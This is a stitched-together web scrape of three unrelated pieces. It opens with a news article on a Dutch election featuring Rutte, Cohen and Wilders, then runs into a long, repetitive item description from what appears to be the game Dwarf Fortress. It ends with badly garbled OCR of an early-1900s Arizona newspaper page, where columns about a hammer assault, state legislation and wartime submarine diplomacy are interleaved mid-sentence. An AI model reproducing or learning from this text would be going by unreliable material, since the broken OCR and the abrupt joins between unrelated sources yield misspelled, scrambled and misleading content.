The budget-cutting center-right Liberals (conservatives in US parlance) under Mark Rutte gained the most seats, 31. But the center-left Labor Party took 30, led by former Amsterdam mayor Job Cohen, who ran on a “bridge-building, hate-busting” campaign.
Mr. Rutte ran on cutting spending by more than $50 billion in coming years. Should the telegenic and youthful politician cobble together a like-minded coalition, it would mark the first conservative Dutch government in a century. He told reporters Thursday that "I would like to see a new cabinet put together as soon as possible because of the seriousness of the economic crisis."
If Mr. Cohen should prevail, he would be the Netherlands' first Jewish prime minister – and would represent a formidable bully pulpit against a growing chauvinist feeling in the country. Cohen is known for bringing calm to Amsterdam after the assassinations of anti-immigrant figure Pim Fortuyn and Theo Van Gogh, whose anti-Muslim film caused a furor, and brought fear and anger to the usually mild city several years ago.
The biggest winner, however, is the flamboyant and extremist politician Geert Wilders, whose Freedom Party platform to ban the Koran and mosque-building defied election polling data and jacked him from 9 to 23 seats. Mr. Wilders’s rise as leader of what is now the No. 3 party in the Netherlands is considered a bellwether of a surlier sentiment in a country traditionally tolerant but now anxious over Muslim minorities.
A straw poll of Dutch junior high and high school students prior to the election showed Wilders actually winning the election among Dutch youths, as reported by DutchNews.
"The Netherlands chose more security, less crime, less immigration, and less Islam," a delighted Wilders told Dutch TV viewers last night. In a post-election rally, he was more colorful: “I say to all the newly elected Freedom Party MPs of our beautiful party, bring battering rams with you, because starting tomorrow, we're going to give them hell!”
Current government's free fall
The biggest loser is Prime Minister Jan-Peter Balkenende. After a bumpy eight-year rule from the center-left, Mr. Balkenende’s Christian Democrats went into free fall, from 41 to 21 seats. The prime minister said he will resign pending a new government.
The Dutch government broke up in February partly over its participation in the Afghan war, but election campaigning was dominated by the economy.
The Netherlands is in far better financial shape than most eurozone states, but voters in the fiscally conservative nation are concerned about negative forecasts as well as higher borrowing costs and bank debt. A 2008 government takeover of the Netherlands' flagship bank, ABN AMRO, cost $35 billion, and is well-remembered.Click to show the very long description of Planepacked:
This is a Limestone statue. All craftsdwarfship is of the highest quality. It is encrusted with Limestone, Gypsum, Native platinum, Magnetite, Limonite and Malachite, studded with Pig iron, decorated with cave lobster shell and dog leather and encircled with bands of Limestone, Gypsum, Magnetite, Native gold, Malachite, Limonite and Oak. This object is adorned with hanging rings of Limestone, Gypsum, Native platinum, Magnetite and Limonite and menaces with spikes of Limestone, Gypsum, Magnetite, Limonite, Malachite, Orthoclase, Steel and Brown jasper. On the item is an image of Dimpledflags the Iron hatch cover in Limestone.
On the item is an image of Ngokang Haterampart the goblin and dwarves in Limestone. Ngokang Haterampart is surrounded by the dwarves. The artwork relates to the rise of the goblin Ngokang Haterampart as an enemy of The Arrow of Tournaments in the late summer of 204.
On the item is an image of Mistem Puretown the dwarf and Crazethin the grimeling in Limestone. Crazethin is striking down Mistem Puretown. The artwork relates to the killing of the dwarf Mistem Puretown by the grimeling Crazethin in Ravenlabors in the late autumn of 203. On the item is an image of diamonds in Limestone. On the item is an image of buckets in Limestone. On the item is an image of shining suns in Limestone. On the item is an image of Mafol Handletone the dwarf in Limestone. On the item is an image of toads in Limestone. On the item is an image of a Tower-cap in Limestone. On the item is an image of a shortfin mako shark in Limestone. On the item is an image of Kol Plaitpainted the dwarf and dwarves in Limestone. Kol Plaitpainted is surrounded by the dwarves. The artwork relates to the ascension of the dwarf Kol Plaitpainted to leadership of The Arrow of Tournaments in 1. On the item is an image of Planepacked the Limestone statue in Limestone. On the item is an image of Kol Plaitpainted the dwarf and dwarves in Limestone. Kol Plaitpainted is surrounded by the dwarves. The artwork relates to the ascension of the dwarf Kol Plaitpainted to leadership of The Arrow of Tournaments in 1.
On the item is an image of dwarves in Limestone. The dwarves are traveling. The artwork relates to the foundation of Ravenlabors by The Sabres of Authoring of The Arrow of Tournaments in the early spring of 202.
On the item is an image of Imush Towerurged the dwarf and Aslot Spideryurges the goblin in Limestone. Aslot Spideryurges is shooting Imush Towerurged. The artwork relates to the shooting of the dwarf Imush Towerurged by the goblin Aslot Spideryurges in Ravenlabors in the midsummer of 204 during The Fourth Attempted Abduction at Ravenlabors. On the item is an image of a Oak in Limestone. On the item is an image of a shining sun in Limestone. On the item is an image of Mafol Handletone the dwarf and dwarves in Limestone. Mafol Handletone is surrounded by the dwarves. The artwork relates to the ascension of the dwarf Mafol Handletone to leadership of The Arrow of Tournaments in 155. On the item is an image of Dimpledflags the Iron hatch cover in Limestone. On the item is an image of Dimpledflags the Iron hatch cover in Limestone. On the item is an image of a toad in Limestone. On the item is an image of a purring maggot in Limestone. On the item is an image of Planepacked the Limestone statue in Limestone. On the item is an image of Crazethin the grimeling and Kadol Basementhushed the dwarf in Limestone. Kadol Basementhushed is striking down Crazethin. The artwork relates to the killing of the grimeling Crazethin by the dwarf Kadol Basementhushed in Ravenlabors in the late autumn of 203. On the item is an image of a Longland grass in Limestone. On the item is an image of a Tower-cap in Limestone. On the item is an image of thick crescents in Limestone. On the item is an image of Planepacked the Limestone statue in Limestone. On the item is an image of a diamond in Limestone. On the item is an image of a wave in Limestone. On the item is an image of two Oaks in Limestone. On the item is an image of sweet pods in Limestone. On the item is an image of a toad in Gypsum. On the item is an image of mountains in Limestone. On the item is an image of Kol Plaitpainted the dwarf and dwarves in Limestone. Kol Plaitpainted is surrounded by the dwarves. The artwork relates to the ascension of the dwarf Kol Plaitpainted to leadership of The Arrow of Tournaments in 1. On the item is an image of three Oaks in Limestone. On the item is an image of Dimpledflags the Iron hatch cover in Limestone. On the item is an image of Mafol Handletone the dwarf in Gypsum. On the item is an image of dwarves in Limestone. The dwarves are traveling. The artwork relates to the foundation of Ravenlabors by The Sabres of Authoring of The Arrow of Tournaments in the early spring of 202.
On the item is an image of Mafol Handletone the dwarf and dwarves in Limestone. Mafol Handletone is surrounded by the dwarves. The artwork relates to the ascension of the dwarf Mafol Handletone to leadership of The Arrow of Tournaments in 155.
On the item is an image of Ago Menacetrap the goblin and Alath Helmedabbey the Imperial Spring of Drills the dwarf in Limestone. Alath Helmedabbey the Imperial Spring of Drills is striking down Ago Menacetrap. The artwork relates to the killing of the goblin Ago Menacetrap by the dwarf Alath Helmedabbey the Imperial Spring of Drills in Ravenlabors in the late autumn of 205 during The Attempted Abduction at Ravenlabors.
On the item is an image of Mafol Handletone the dwarf and dwarves in Gypsum. Mafol Handletone is surrounded by the dwarves. The artwork relates to the ascension of the dwarf Mafol Handletone to leadership of The Arrow of Tournaments in 155. On the item is an image of squares in Limestone. On the item is an image of Atis Brandtools the dwarf and dwarves in Gypsum. Atis Brandtools is surrounded by the dwarves. The artwork relates to the ascension of the dwarf Atis Brandtools to leadership of The Arrow of Tournaments in 17.
On the item is an image of Drufuchakin the kobold and Datan Treatydawned the dwarf in Gypsum. Datan Treatydawned is striking down Drufuchakin. The artwork relates to the killing of the kobold Drufuchakin by the dwarf Datan Treatydawned in Ravenlabors in the early winter of 206 during The Fourth Attempted Theft at Ravenlabors. On the item is an image of Mafol Handletone the dwarf in Limestone. On the item is an image of two toads in Gypsum. On the item is an image of Planepacked the Limestone statue in Gypsum. On the item is an image of a thick crescent in Gypsum. On the item is an image of Planepacked the Limestone statue in Gypsum. On the item is an image of Planepacked the Limestone statue in Gypsum. On the item is an image of a rope reed in Gypsum. On the item is an image of two full moons in Gypsum. On the item is an image of circles in Limestone. On the item is an image of Aslot Spideryurges the goblin and dwarves in Limestone. Aslot Spideryurges is surrounded by the dwarves. The artwork relates to the rise of the goblin Aslot Spideryurges as an enemy of The Arrow of Tournaments in the midsummer of 204. On the item is an image of a toad in Limestone. On the item is an image of Planepacked the Limestone statue in Limestone. On the item is an image of mountains in Limestone. On the item is an image of dwarves in Limestone. The dwarves are traveling. The artwork relates to the foundation of Ravenlabors by The Sabres of Authoring of The Arrow of Tournaments in the early spring of 202.
On the item is an image of Crazethin the grimeling and Kadol Basementhushed the dwarf in Limestone. Kadol Basementhushed is striking down Crazethin. The artwork relates to the killing of the grimeling Crazethin by the dwarf Kadol Basementhushed in Ravenlabors in the late autumn of 203.
On the item is an image of Tun Racewheel the dwarf in Limestone. Tun Racewheel is laboring. The artwork relates to the settling of the dwarf Tun Racewheelin Ravenlabors in the midspring of 203. On the item is an image of two Maples in Limestone. On the item is an image of diamonds in Limestone. On the item is an image of Mafol Handletone the dwarf in Limestone. On the item is an image of two Larchs in Limestone. On the item is an image of Planepacked the Limestone statue in Limestone. On the item is an image of a sweet pod in Limestone. On the item is an image of a toad in Limestone. On the item is an image of mountains in Limestone. On the item is an image of hidden moons in Limestone. On the item is an image of toads in Limestone. On the item is an image of Cilob Racetrade the dwarf in Limestone. Cilob Racetrade is laboring. The artwork relates to the settling of the dwarf Cilob Racetradein Ravenlabors in the midspring of 203. On the item is an image of mountains in Limestone. On the item is an image of a Longland grass in Limestone. On the item is an image of Mafol Handletone the dwarf in Limestone. On the item is an image of Planepacked the Limestone statue in Limestone. On the item is an image of Ngerxung Menaceriddled the Magical Tomes of Disloyalty the goblin and dwarves in Limestone. Ngerxung Menaceriddled the Magical Tomes of Disloyalty is surrounded by the dwarves. The artwork relates to the rise of the goblin Ngerxung Menaceriddled the Magical Tomes of Disloyalty as an enemy of The Arrow of Tournaments in the early summer of 204. On the item is an image of Planepacked the Limestone statue in Limestone. On the item is an image of Planepacked the Limestone statue in Limestone. On the item is an image of a toad in Limestone. On the item is an image of cages in Limestone. On the item is an image of Planepacked the Limestone statue in Limestone. On the item is an image of four mountains in Limestone. On the item is an image of a plump helmet in Limestone. On the item is an image of Kol Plaitpainted the dwarf and dwarves in Limestone. Kol Plaitpainted is surrounded by the dwarves. The artwork relates to the ascension of the dwarf Kol Plaitpainted to leadership of The Arrow of Tournaments in 1.
On the item is an image of Mafol Handletone the dwarf and dwarves in Limestone. Mafol Handletone is surrounded by the dwarves. The artwork relates to the ascension of the dwarf Mafol Handletone to leadership of The Arrow of Tournaments in 155. On the item is an image of a toad in Limestone. On the item is an image of Mafol Handletone the dwarf in Limestone. On the item is an image of Mafol Handletone the dwarf in Limestone. On the item is an image of waves in Limestone. On the item is an image of Mafol Handletone the dwarf in Limestone. On the item is an image of dwarves in Limestone. The dwarves are traveling. The artwork relates to the foundation of Ravenlabors by The Sabres of Authoring of The Arrow of Tournaments in the early spring of 202. On the item is an image of a thin cross in Limestone. On the item is an image of dwarves in Limestone. The dwarves are laboring. The artwork relates to the foundation of Ravenlabors by The Sabres of Authoring of The Arrow of Tournaments in the early spring of 202. On the item is an image of wild strawberries in Limestone. On the item is an image of Planepacked the Limestone statue in Limestone. On the item is an image of Atis Brandtools the dwarf and dwarves in Limestone. Atis Brandtools is surrounded by the dwarves. The artwork relates to the ascension of the dwarf Atis Brandtools to leadership of The Arrow of Tournaments in 17. On the item is an image of Planepacked the Limestone statue in Limestone. On the item is an image of two toads in Limestone. On the item is an image of Atis Brandtools the dwarf and dwarves in Limestone. Atis Brandtools is surrounded by the dwarves. The artwork relates to the ascension of the dwarf Atis Brandtools to leadership of The Arrow of Tournaments in 17.
On the item is an image of Kol Plaitpainted the dwarf and dwarves in Limestone. Kol Plaitpainted is surrounded by the dwarves. The artwork relates to the ascension of the dwarf Kol Plaitpainted to leadership of The Arrow of Tournaments in 1. On the item is an image of Planepacked the Limestone statue in Limestone. On the item is an image of a toad in Limestone. On the item is an image of Planepacked the Limestone statue in Limestone. On the item is an image of a cloud in Limestone. On the item is an image of a barrel in Limestone. On the item is an image of two narrow crescents in Limestone. On the item is an image of narrow crescents in Limestone. On the item is an image of a barrel in Limestone. On the item is an image of dwarves in Limestone. The dwarves are traveling. The artwork relates to the foundation of Ravenlabors by The Sabres of Authoring of The Arrow of Tournaments in the early spring of 202.
On the item is an image of Atis Brandtools the dwarf and dwarves in Limestone. Atis Brandtools is surrounded by the dwarves. The artwork relates to the ascension of the dwarf Atis Brandtools to leadership of The Arrow of Tournaments in 17. On the item is an image of Planepacked the Limestone statue in Limestone. On the item is an image of Mafol Handletone the dwarf in Limestone. On the item is an image of Planepacked the Limestone statue in Limestone. On the item is an image of Cani Lustrousduties the human and Atu Seduceshameful the goblin in Limestone. Cani Lustrousduties is making a plaintive gesture. Atu Seduceshameful is striking a menacing pose. The artwork relates to the mortal wounding of the human Cani Lustrousduties by the goblin Atu Seduceshameful in Ravenlabors in the late summer of 206 during The Attempted Abduction at Ravenlabors.
On the item is an image of dwarves in Limestone. The dwarves are laboring. The artwork relates to the foundation of Ravenlabors by The Sabres of Authoring of The Arrow of Tournaments in the early spring of 202.
On the item is an image of dwarves in Limestone. The dwarves are traveling. The artwork relates to the foundation of Guardedattic by The Mechanism of Heating of The Arrow of Tournaments in 1.
On the item is an image of Atu Seduceshameful the goblin and `Hammermaker' Lettership the Flute of Bands the dwarf in Limestone. `Hammermaker' Lettership the Flute of Bands is striking down Atu Seduceshameful. The artwork relates to the killing of the goblin Atu Seduceshameful by the dwarf `Hammermaker' Lettership the Flute of Bands in Ravenlabors in the early autumn of 206 during The Attempted Abduction at Ravenlabors. On the item is an image of two circles in Limestone. On the item is an image of Sigun Whippedbridges the dwarf and dwarves in Limestone. Sigun Whippedbridges is surrounded by the dwarves. The artwork relates to the appointment of the dwarf Sigun Whippedbridges as the outpost liaison for The Arrow of Tournaments in 171. On the item is an image of Mafol Handletone the dwarf in Limestone. On the item is an image of a Oak in Limestone. On the item is an image of toads in Limestone. On the item is an image of dwarves in Limestone. The dwarves are laboring. The artwork relates to the foundation of Ravenlabors by The Sabres of Authoring of The Arrow of Tournaments in the early spring of 202.
On the item is an image of Ilral Roughnesstraded the dwarf and Dostngosp Stinkthief the goblin in Limestone. Ilral Roughnesstraded is making a plaintive gesture. Dostngosp Stinkthief is laughing. The artwork relates to the mortal wounding of the dwarf Ilral Roughnesstraded by the goblin Dostngosp Stinkthief in Ravenlabors in the late autumn of 203 during The Third Attempted Abduction at Ravenlabors.
On the item is an image of dwarves in Limestone. The dwarves are traveling. The artwork relates to the foundation of Ravenlabors by The Sabres of Authoring of The Arrow of Tournaments in the early spring of 202. On the item is an image of crescent moons in Limestone. On the item is an image of a dwarf in Limestone. On the item is an image of two Oaks in Limestone. On the item is an image of Ilral Channeledhalls the dwarf and Ago Menacetrap the goblin in Limestone. Ago Menacetrap is striking down Ilral Channeledhalls. The artwork relates to the killing of the dwarf Ilral Channeledhalls by the goblin Ago Menacetrap in Ravenlabors in the late autumn of 205 during The Attempted Abduction at Ravenlabors. On the item is an image of narrow crescents in Limestone. On the item is an image of wild strawberries in Limestone. On the item is an image of Planepacked the Limestone statue in Limestone. On the item is an image of two half moons in Limestone. On the item is an image of dwarves in Limestone. The dwarves are laboring. The artwork relates to the foundation of Ravenlabors by The Sabres of Authoring of The Arrow of Tournaments in the early spring of 202. On the item is an image of Planepacked the Limestone statue in Limestone. On the item is an image of Alders in Limestone. On the item is an image of dwarves in Limestone. The dwarves are laboring. The artwork relates to the foundation of Ravenlabors by The Sabres of Authoring of The Arrow of Tournaments in the early spring of 202. On the item is an image of Planepacked the Limestone statue in Limestone. On the item is an image of a Longland grass in Limestone. On the item is an image of dwarves in Limestone. The dwarves are laboring. The artwork relates to the foundation of Ravenlabors by The Sabres of Authoring of The Arrow of Tournaments in the early spring of 202.
On the item is an image of the muskox and Atu Seduceshameful the goblin in Limestone. Atu Seduceshameful is striking down. The artwork relates to the killing of the muskox by the goblin Atu Seduceshameful in Ravenlabors in the late summer of 206 during The Attempted Abduction at Ravenlabors. On the item is an image of waves in Limestone. On the item is an image of a narrow crescent in Limestone. On the item is an image of Mafol Handletone the dwarf in Limestone. On the item is an image of a wave in Limestone. On the item is an image of Morul Loverorbs the dwarf and Dissolvedchains the Conjurer of Riddling the cave lobster shell mask in Limestone. Morul Loverorbs is raising Dissolvedchains the Conjurer of Riddling. The artwork relates to the creation of Dissolvedchains the Conjurer of Riddling in Ravenlabors by the dwarf Morul Loverorbs in the midwinter of 204. On the item is an image of Mafol Handletone the dwarf in Limestone. On the item is an image of Planepacked the Limestone statue in Magnetite. On the item is an image of Tower-caps in Magnetite. On the item is an image of a common skate in Magnetite. On the item is an image of Atis Brandtools the dwarf and dwarves in Magnetite. Atis Brandtools is surrounded by the dwarves. The artwork relates to the ascension of the dwarf Atis Brandtools to leadership of The Arrow of Tournaments in 17. On the item is an image of Mafol Handletone the dwarf in Magnetite. On the item is an image of dwarves in Magnetite. The dwarves are laboring. The artwork relates to the foundation of Ravenlabors by The Sabres of Authoring of The Arrow of Tournaments in the early spring of 202. On the item is an image of Planepacked the Limestone statue in Limonite. On the item is an image of three-pointed stars in Magnetite. On the item is an image of Kol Plaitpainted the dwarf and dwarves in Limonite. Kol Plaitpainted is surrounded by the dwarves. The artwork relates to the ascension of the dwarf Kol Plaitpainted to leadership of The Arrow of Tournaments in 1. On the item is an image of Planepacked the Limestone statue in Magnetite. On the item is an image of Planepacked the Limestone statue in Magnetite. On the item is an image of blazing suns in Magnetite. On the item is an image of a toad in Magnetite. On the item is an image of dwarves in Magnetite. The dwarves are laboring. The artwork relates to the foundation of Ravenlabors by The Sabres of Authoring of The Arrow of Tournaments in the early spring of 202.
On the item is an image of dwarves in Magnetite. The dwarves are laboring. The artwork relates to the foundation of Ravenlabors by The Sabres of Authoring of The Arrow of Tournaments in the early spring of 202. On the item is an image of a toad in Magnetite. On the item is an image of dwarves in Magnetite. The dwarves are laboring. The artwork relates to the foundation of Ravenlabors by The Sabres of Authoring of The Arrow of Tournaments in the early spring of 202.
On the item is an image of Atis Brandtools the dwarf and dwarves in Magnetite. Atis Brandtools is surrounded by the dwarves. The artwork relates to the ascension of the dwarf Atis Brandtools to leadership of The Arrow of Tournaments in 17. On the item is an image of a shining sun in Limonite. On the item is an image of Sigun Frostsalves the dwarf and dwarves in Limonite. Sigun Frostsalves is surrounded by the dwarves. The artwork relates to the rise of the dwarf Sigun Frostsalves as an enemy of The Arrow of Tournaments in the late autumn of 206. On the item is an image of clouds in Magnetite. On the item is an image of Mafol Handletone the dwarf and dwarves in Magnetite. Mafol Handletone is surrounded by the dwarves. The artwork relates to the ascension of the dwarf Mafol Handletone to leadership of The Arrow of Tournaments in 155. On the item is an image of a toad in Magnetite. On the item is an image of Planepacked the Limestone statue in Magnetite. On the item is an image of a toad in Limestone. On the item is an image of Kol Plaitpainted the dwarf and dwarves in Limonite. Kol Plaitpainted is surrounded by the dwarves. The artwork relates to the ascension of the dwarf Kol Plaitpainted to leadership of The Arrow of Tournaments in 1. On the item is an image of Planepacked the Limestone statue in Magnetite. On the item is an image of dwarves in Limonite. The dwarves are laboring. The artwork relates to the foundation of Ravenlabors by The Sabres of Authoring of The Arrow of Tournaments in the early spring of 202.
On the item is an image of Dishmab Floorcleans the dwarf and dwarves in Magnetite. Dishmab Floorcleans is surrounded by the dwarves. The artwork relates to the rise of the dwarf Dishmab Floorcleans as an enemy of The Arrow of Tournaments in the early autumn of 206. On the item is an image of shining suns in Malachite. On the item is an image of clouds in Magnetite. On the item is an image of Mafol Handletone the dwarf in Limonite. On the item is an image of Planepacked the Limestone statue in Magnetite. On the item is an image of the donkey and Snang Belchprofane the goblin in Limonite. Snang Belchprofane is shooting. The artwork relates to the shooting of the donkey by the goblin Snang Belchprofane in Ravenlabors in the late summer of 206 during The Attempted Abduction at Ravenlabors. On the item is an image of a toad in Magnetite. On the item is an image of dwarves in Magnetite. The dwarves are laboring. The artwork relates to the foundation of Ravenlabors by The Sabres of Authoring of The Arrow of Tournaments in the early spring of 202.
On the item is an image of dwarves in Magnetite. The dwarves are laboring. The artwork relates to the foundation of Ravenlabors by The Sabres of Authoring of The Arrow of Tournaments in the early spring of 202.
On the item is an image of dwarves in Magnetite. The dwarves are traveling. The artwork relates to the foundation of Ravenlabors by The Sabres of Authoring of The Arrow of Tournaments in the early spring of 202. On the item is an image of a Alder in Limonite. On the item is an image of a cave wheat in Limonite. On the item is an image of a Tower-cap in Magnetite. On the item is an image of dwarves in Limonite. The dwarves are laboring. The artwork relates to the foundation of Guardedattic by The Mechanism of Heating of The Arrow of Tournaments in 1. On the item is an image of a dwarf in Magnetite. On the item is an image of a blazing sun in Magnetite. On the item is an image of a diamond in Magnetite. On the item is an image of Planepacked the Limestone statue in Limestone. On the item is an image of Planepacked the Limestone statue in Limonite. On the item is an image of toads in Magnetite. On the item is an image of dwarves in Magnetite. The dwarves are laboring. The artwork relates to the foundation of Ravenlabors by The Sabres of Authoring of The Arrow of Tournaments in the early spring of 202. On the item is an image of Mafol Handletone the dwarf in Magnetite. On the item is an image of a shining sun in Magnetite. On the item is an image of Planepacked the Limestone statue in Limonite. On the item is an image of Planepacked the Limestone statue in Magnetite. On the item is an image of dwarves in Magnetite. The dwarves are laboring. The artwork relates to the foundation of Guardedattic by The Mechanism of Heating of The Arrow of Tournaments in 1. On the item is an image of Planepacked the Limestone statue in Magnetite. On the item is an image of a thin cross in Magnetite. On the item is an image of two toads in Magnetite. On the item is an image of Planepacked the Limestone statue in Magnetite. On the item is an image of half moons in Limonite. On the item is an image of waves in Limestone. On the item is an image of Thlulugrayber the kobold and a Steel chain mail in Limonite. Thlulugrayber is raising the Steel chain mail. The artwork relates to the theft of a Steel chain mail from Ravenlabors by the kobold Thlulugrayber in the early summer of 205 during The Fifth Theft at Ravenlabors. On the item is an image of Planepacked the Limestone statue in Magnetite. On the item is an image of Planepacked the Limestone statue in Magnetite. On the item is an image of Planepacked the Limestone statue in Magnetite. On the item is an image of a circle in Limonite. On the item is an image of a cloud in Magnetite. On the item is an image of a mountain in Magnetite. On the item is an image of Planepacked the Limestone statue in Magnetite. On the item is an image of Planepacked the Limestone statue in Magnetite. On the item is an image of wild strawberries in Magnetite. On the item is an image of blazing suns in Magnetite. On the item is an image of a narrow crescent in Limonite. On the item is an image of a toad in Magnetite. On the item is an image of dwarves in Limestone. The dwarves are traveling. The artwork relates to the foundation of Ravenlabors by The Sabres of Authoring of The Arrow of Tournaments in the early spring of 202. On the item is an image of a circle in Magnetite. On the item is an image of Planepacked the Limestone statue in Magnetite. On the item is an image of Mafol Handletone the dwarf in Limonite. On the item is an image of Planepacked the Limestone statue in Magnetite. On the item is an image of a mountain in Limonite. On the item is an image of narrow crescents in Limonite. On the item is an image of Atis Brandtools the dwarf and dwarves in Magnetite. Atis Brandtools is surrounded by the dwarves. The artwork relates to the ascension of the dwarf Atis Brandtools to leadership of The Arrow of Tournaments in 17. On the item is an image of a toad in Limonite. On the item is an image of a toad in Magnetite. On the item is an image of Atis Brandtools the dwarf and dwarves in Magnetite. Atis Brandtools is surrounded by the dwarves. |
, who opposed the
match.
William A rndt, Jr. May
Never Recover From 2
!BBlows From Assailant
report ot operations of the DritUh
m T T.. I w-fc. T. 1 rtl.
Man rM wun orunt instrument as ne L.ay in uea atimeicisi ships, whethea neutral or be
I riome- tvoDoery is uniy motive inat v-an oe MscriDea ponging to me enemy,
For the Crime-Arndt, Unconscious, Lies in Hospital
force, from November to the begin-'
ning of February, shows there is al-
fall through the ship bill will be ways more or less activity then, j
abandoned an dall efforts centered up- Despite the weather and tbe state oi
on disposing or the appropriation mils i tne grounu, tne tenon says mere na Hospital on what promises to be his death bed tie was
so as to make unnecessary an extra been lot or trench fighting In whlca 1,.. SQme eQrl hour yesterday mornine. of n
aaaainn ivn o tiih iihihh iimuhihii t na ititiiaita uni itrtttaii tarrtinnait. - -
William Arndt, Jr., lies in the Calumet and Arizona
mlttee to Investigate state officers.
A motion failed to limit the scope of
the Investigation to the acta of War
den Sims of the state prison. Stan
ley Intimated that the moral clndurt
as well as the official conduct of oth
er state officers might be looked Into.
On Us way to final passage the bill
Introduced by Drachman. by request,
reducing homestead exemptions to
S2.M0, fallod of paasage.
The senate committee of the whole
approved the Baeon bill requiring
health certificates prior to the grant
ing of marriage licenses. New bills
introduced include one by Munds cre
ating a board to conduct a state edu
eaUonal survey, and another by
Kama appropriating one-half tbe cost
of a bridge to be built across the San
ta Crui at the mouth of Proto Can
yon. Tbe total cost of tbe bridge will
be $2S,l00, the county to pay half.
Kara also bad a bill regulating
traffic In cold storage products. Bggs
sold In cases whore products arc
throe months old or less must be so
marked, with signs tbe lettrrs on
which sre to be two Inches high.
Where packing is over three months
tbe marking an eases must be in six
Inch black type. Stores selling cold
storaia acta groat sxhlult sign In big
latum, "Cold Storage Eggs Sold Hare'
AaoUwH health measure was pro
noaod ar Bacon, remodeling the state
year, for the sole purpose of cleaning
out the Gulch. Cunningham complet
ed this section or bis talk by saying
that it was probably the N'aco Road
pavement that was holding the enUre
matter up.
City Hsglneer Zelsemer was called
into consultation in the matter and
gave the council some figures on the
matter of cost. It was shown where
It w oil Id cost a matter or ft.SSS to
pave Brewery Gulch from a point near
the Ilemierson-Watkins Lumber yard
(Continued on Page Five.)
ITALY SHAKEN BY
ANOTHER EARTHQUAKE
HOMK Keb. 16. Another earth
quake In the province of Aqulla dam
aged many houses, rendering a num
her of them dangerous to habitation
Tbe population Is greaty alarmed and
even abandoned undamaged houses.
fearing another catastrophe.
the Weeks-Core bill, the senate con
tinued Its discussion of cloture rules.
Leaders of all factions were engrossed
in conferences as to theh next moves
to be made. Report had It that ad
ministration forces would attempt to
morrow to shut out all debate by mov
Ing the previous question, thus for--
ing a vote on theh motion to concur
distinguished themselves.
In arming her merchant ships with
, guns for self-defense Kngland adoi4
ied a policy against which the Gar-
mans strongly protest. Tbe United
I States took tbe British point ufrlaw.
! It is not imssible for submarines to
lappioach Ilrltisli merchant shiia to
, make examinations, without exposing
ON FLAG DISPUTES
In the house amendments. Should
this prevail. U would be equivalent I Formal Renlies to Noirt F.v.
to the passage or the ship purchase no. i n.r r. n-U-measure,
and there would end a long. I pected brom Great Brit.
am Ana ijormany
I from hla work yesterday mornlni
about 7 o'clock, he went to his son's
I door. It was locked. He looked
turbulent light.
There Is evidence of unusual ac
tivity on the part of committees in
charge of appropriation bills. The
ship bill, as It win'go to the senate
from the house, includes a ship pur
chase measure sa agreed upon in the
senate caucus and the provlaion that
two years after the close of the Eu
, murderous attack, in which he sustained a fracctured skull.
I From the few tendrils or evidence, mutely surrounding the j themselves to the gun fire of bomb
'body of the young man when he was found, and picked attack against which submarines are
!Up subquently. robbery was the sole motive for the at- i!,,,(1vJwki her m.rchaut flael
1 fack to fly neutral flags, to cover up.thd
When William Arndt, Sr., returned ',.,.,,,,,, (h, I names, to change stacks, to escape
other Is higher on the right side nr,tl consequences of their nationality,
the head. It Is supposed that the-Thls plan is dealgued to bring Oar
latter wound Is the most seriotw of many Into conflict with other nations.
around and saw some keys laying Ule two. T,le commanding officers oi surmai
jienrby and picking them up faund hammer, and a heavy piece ofnes have been glveu oiders to make
them to be Arndt. Jr.'s., He entered jTOn W8re fjle jj. two things In the every effort to ssfeguard neutrals. In
the room and was confronted by the'room which could have Inflicted the I spite of precautions the submartaea
grewsoroe sight of his son, laying In j wounds on Arndt'a head. No blood, could take without danger of being
a nool of blood across his lied. j WM t0 be found on the hammer but! destroyed themselves the possibility
The officers were Immediately no-l a.Unlit ammmt ws found n nthe Iron la noted that neutral shins might.
no further move In the diplomatic yfled of the matter. Tex Barton ar-l weight. It is supposed, however, by through error or accident, be ilea,
controversy with Great Britain and tfvlng on the scene of the attack with-1 tna poiCe. that the blood on the lat-jtroyed. Kor this reason the strong
Germany over Uie use or neutral nasn few minutes. Dr. Leonard, or,ter inatrument was splashed upon it. 'warning Is Issued."
aud concerning the submarine cam-,h r A. staff was called and af-Th ihnnrv MmuniMntlr. la that the,.
i WASHINGTON, U. I'., FCD. IS. Ol-
ficiala of the United States have made
in i) oniv mini in n.,wn,..., I. I..." j - - -,
.....v. h., palgn cn shipment of foodstuffs to lmr. eursorv examination and some i i.ir,,m.ni with whlrh th deed MVrMu taub ruin un n
rUrai.nV lhjtv awaflo.1 fni-tviBl rtm... 1... I.1,1...1........
the United States shall be turned av-'i auempis u nre commuted was twougiii into in
OF GERMAN TRENCHES
Weeks bill, already passed by the
senate.
Senator Bmoot has give nnotlca the
delMtte will be conslnued by the op
or school children for deficiencies.
In Uie house Reed had a bill pro
hibiting the Importation Into the
state of strike breakers; Lee a meas
ure remlUing delinquent brand' taxes;
Derry a bill providing for tbe pension
ing at 600 annually or Arisoba school
teachers of twenty-five years service:
er to the secretary or the navy to Dlte tnm 0rt BrU,n and Germany that theh boy must be removed to the rMnu,ml taken away after the com
operated ior (leased for commercial i l" l"" " '. T "oapllai. He waa onerateu upon " : mission or the crime.,,ARlB Kel ig.A 0mci.i
m. i gsii Hisipi in an cn iinniuinaM si airi-i n n,a inor vannri wag...
purposes umier tne terms oi me - '-"- "',, ln" "" - "r" I That robltory was the motive or, WMtoatloB Issued Uy the war aBtoo
the attack seems assured. Arndt Is tonight says that derma u trenches
nartment telling of their Informal l nervtce in Illsbee. He owns his own
conferences wiUi high officials of machine. After a donble shift the
position until Maroh 4 unless the111 rm iu "7 young man went to oea at nis noroe
democrats withdrew Uie measure or uve,v' tnPr wer 110 i'eatlons that; on 0p((ra Drive, alwut 0 o'clock Mou
some unusual tactics ware rasortwl to the former Intended to alter its policy. Ay morning. He never got up. Arndt
by the administration farces. on "hlpmenU or conditions clontra- 8ri eft tlie house about 11 o'clock
When Minority Leader Mann saw hand to civilians, or that the latter. Mw,day evening tor his work and "3.
the democratic leaders were deter-1 would recede from 1U announced In-1 turned the next morning to find his
TOlnad to stop the filibuster several! tantlon of waging submarine war oa wll on Ule verge of death,
conferences were held and It waa the enemy's merchant ships. Mrs. Arndt, the young man's math
agreed not to keep up the dilatory;...... or, waa In El I'aso, visiting a mar-
tactica. A few minutes after one the Fitzgerald, Gerry, Gordon. Jones. Kln- rlod daughter. The house waa va-
vote on th ehflaalemfwpyamfwypmri del. Kitohin, Merrison. Mosg of lBdi-(cant. preeumabiy, st tne urge oi tne
bassador Page at London and Garard in an unconscious condition.
